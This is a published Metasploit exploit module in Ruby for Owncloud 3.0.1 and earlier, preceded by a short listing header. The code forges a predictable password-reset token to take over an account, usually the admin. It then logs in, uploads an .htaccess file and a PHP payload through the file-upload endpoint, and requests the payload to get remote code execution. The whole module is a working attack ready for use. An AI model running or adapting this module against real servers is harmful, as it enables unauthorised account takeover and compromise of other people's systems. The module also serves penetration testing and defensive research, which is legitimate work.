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Owncloud Account Overtake / File Upload Code Execution

Owncloud Account Overtake / File Upload Code Execution
Posted Apr 20, 2012
Authored by Lukas Kupczyk | Site metasploit.com

This Metasploit module exploits several vulnerabilities in Owncloud 3.0.1 and earlier in order to achieve code execution.

tags | exploit, vulnerability, code execution
MD5 | 6c75e0009dec7a2e5d562d7414c61d80

Owncloud Account Overtake / File Upload Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Owncloud Account Overtake, File Upload Code Execution',
'Description' => %q{
This module exploits several vulnerabilities in Owncloud 3.0.1 and earlier in order to achieve code execution.
},
'Author' => [ 'Lukas Kupczyk luks[at]sploit.de' ],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 8000
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "Owncloud directory path", "/owncloud"]),
OptString.new('USERNAME', [true, "The username to authenticate as", "admin"]),
OptString.new('PASSWORD', [true, "New password", "metasploit"]),
], self.class)
end

def password_reset
res = send_request_cgi({
'uri' => "#{datastore['URI']}/core/lostpassword/index.php",
'method' => 'POST',
'data' => 'user=' + datastore['USERNAME'],
})

if res.body =~ /Requested/
print_status("Triggered password reset")
else
raise RuntimeError, "Error: could not trigger password reset, does the user #{datastore['USERNAME']} exist?"
end
end

def set_new_password(token)
res = send_request_cgi({
'uri' => "#{datastore['URI']}/core/lostpassword/resetpassword.php?user=#{datastore['USERNAME']}&token=#{token}",
'method' => 'POST',
'data' => "password=#{datastore['PASSWORD']}"
})

if res.body =~ /Your password was reset/
print_status("New password set")
else
raise RuntimeError, "Error: Could not set new password"
end
end

def gen_token
require 'digest/sha1'
uniqid = Time.now.to_i.to_s(16)
Digest::SHA1.hexdigest((datastore['USERNAME'].to_i + uniqid.to_i).to_s)
end

def login
res = send_request_cgi({
'uri' => "#{datastore['URI']}/index.php",
'method' => 'POST',
'data' => "user=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}",
})

if not res["Set-Cookie"]
raise RuntimeError, "Error: Login failed"
else
print_status("Logged in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return res["Set-Cookie"]
end
end

def upload(cookie, cmdscript)
boundary = rand_text_alphanumeric(6)

data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << ".htaccess\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\".htaccess\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << "allow from all"
data << "\r\n--#{boundary}--"

print_status("Uploading .htaccess")
res = send_request_raw({
'uri' => "#{datastore['URI']}/files/ajax/upload.php",
'method' => 'POST',
'data' => data,
'cookie' => cookie,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
})

if res.code != 200
print_error("Server returned non-200 status code (#{res.code})")
end

cmd_php = '<?php ' + payload.encoded + '?>'

data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.php\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"#{cmdscript}.php\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

print_status("Uploading payload")
res = send_request_raw({
'uri' => "#{datastore['URI']}/files/ajax/upload.php",
'method' => 'POST',
'data' => data,
'cookie' => cookie,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
})

if res.code != 200
print_error("Server returned non-200 status code (#{res.code})")
end
end

def exploit
token = gen_token()
print_status("Generated token: #{token}")

password_reset()

set_new_password(token)

cookie = login()

cmdscript = rand_text_alpha_lower(20)
upload(cookie, cmdscript)

# execute our payload
res = send_request_raw({
'uri' => "#{datastore['URI']}/data/#{datastore['USERNAME']}/files/#{cmdscript}.php",
})

handler
end

end

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